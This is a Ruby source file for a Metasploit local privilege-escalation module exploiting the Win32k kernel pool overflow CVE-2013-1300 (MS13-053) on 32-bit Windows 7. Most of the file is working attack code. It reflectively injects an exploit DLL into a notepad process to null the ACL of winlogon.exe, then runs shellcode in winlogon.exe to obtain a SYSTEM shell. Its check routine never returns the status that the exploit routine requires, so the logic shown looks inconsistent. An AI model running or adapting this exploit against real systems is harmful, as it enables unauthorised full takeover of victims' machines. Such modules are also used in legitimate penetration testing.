141 lines
4.7 KiB
Ruby
141 lines
4.7 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/post/windows/reflective_dll_injection'
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require 'rex'
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class Metasploit3 < Msf::Exploit::Local
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Rank = AverageRanking
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include Msf::Post::File
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include Msf::Post::Windows::Priv
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include Msf::Post::Windows::Process
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include Msf::Post::Windows::FileInfo
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include Msf::Post::Windows::ReflectiveDLLInjection
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def initialize(info={})
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super(update_info(info, {
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'Name' => 'Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)',
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'Description' => %q{
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This module leverages a kernel pool overflow in Win32k which allows local privilege escalation.
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The kernel shellcode nulls the ACL for the winlogon.exe process (a SYSTEM process).
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This allows any unprivileged process to freely migrate to winlogon.exe, achieving
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privilege escalation. This exploit was used in pwn2own 2013 by MWR to break out of chrome's sandbox.
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NOTE: when a meterpreter session started by this exploit exits, winlogin.exe is likely to crash.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Nils', #Original Exploit
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'Jon', #Original Exploit
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'Donato Capitella <donato.capitella[at]mwrinfosecurity.com>', # Metasploit Conversion
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'Ben Campbell <ben.campbell[at]mwrinfosecurity.com>' # Help and Encouragement ;)
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],
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'Arch' => ARCH_X86,
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'Platform' => 'win',
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'SessionTypes' => [ 'meterpreter' ],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Targets' =>
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[
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[ 'Windows 7 SP0/SP1', { } ]
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],
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'Payload' =>
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{
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'Space' => 4096,
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'DisableNops' => true
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},
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'References' =>
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[
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[ 'CVE', '2013-1300' ],
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[ 'MSB', 'MS13-053' ],
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[ 'URL', 'https://labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-up---kernel-exploit/' ]
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],
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'DisclosureDate' => 'Dec 01 2013',
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'DefaultTarget' => 0
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}))
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end
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def check
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os = sysinfo["OS"]
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unless (os =~ /windows/i)
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return Exploit::CheckCode::Unknown
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end
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file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
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major, minor, build, revision, branch = file_version(file_path)
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vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
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case build
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when 7600
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return Exploit::CheckCode::Appears
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when 7601
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if branch == 18
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return Exploit::CheckCode::Appears if revision < 18176
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else
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return Exploit::CheckCode::Appears if revision < 22348
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end
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end
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return Exploit::CheckCode::Unknown
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end
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def exploit
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if is_system?
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fail_with(Failure::None, 'Session is already elevated')
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end
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if sysinfo["Architecture"] =~ /wow64/i
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fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
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elsif sysinfo["Architecture"] =~ /x64/
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fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
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end
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unless check == Exploit::CheckCode::Vulnerable
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fail_with(Failure::NotVulnerable, "Exploit not available on this system")
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end
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print_status("Launching notepad to host the exploit...")
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notepad_process_pid = cmd_exec_get_pid("notepad.exe")
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begin
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process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS)
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print_good("Process #{process.pid} launched.")
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rescue Rex::Post::Meterpreter::RequestError
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print_status("Operation failed. Hosting exploit in the current process...")
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process = client.sys.process.open
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end
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print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
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library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-1300", "schlamperei.x86.dll")
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library_path = ::File.expand_path(library_path)
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print_status("Injecting exploit into #{process.pid}...")
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exploit_mem, offset = inject_dll_into_process(process, library_path)
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thread = process.thread.create(exploit_mem + offset)
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client.railgun.kernel32.WaitForSingleObject(thread.handle, 5000)
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client.sys.process.each_process do |p|
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if p['name'] == "winlogon.exe"
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winlogon_pid = p['pid']
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print_status("Found winlogon.exe with PID #{winlogon_pid}")
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if execute_shellcode(payload.encoded, nil, winlogon_pid)
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print_good("Everything seems to have worked, cross your fingers and wait for a SYSTEM shell")
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else
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print_error("Failed to start payload thread")
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end
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break
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end
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end
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end
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end
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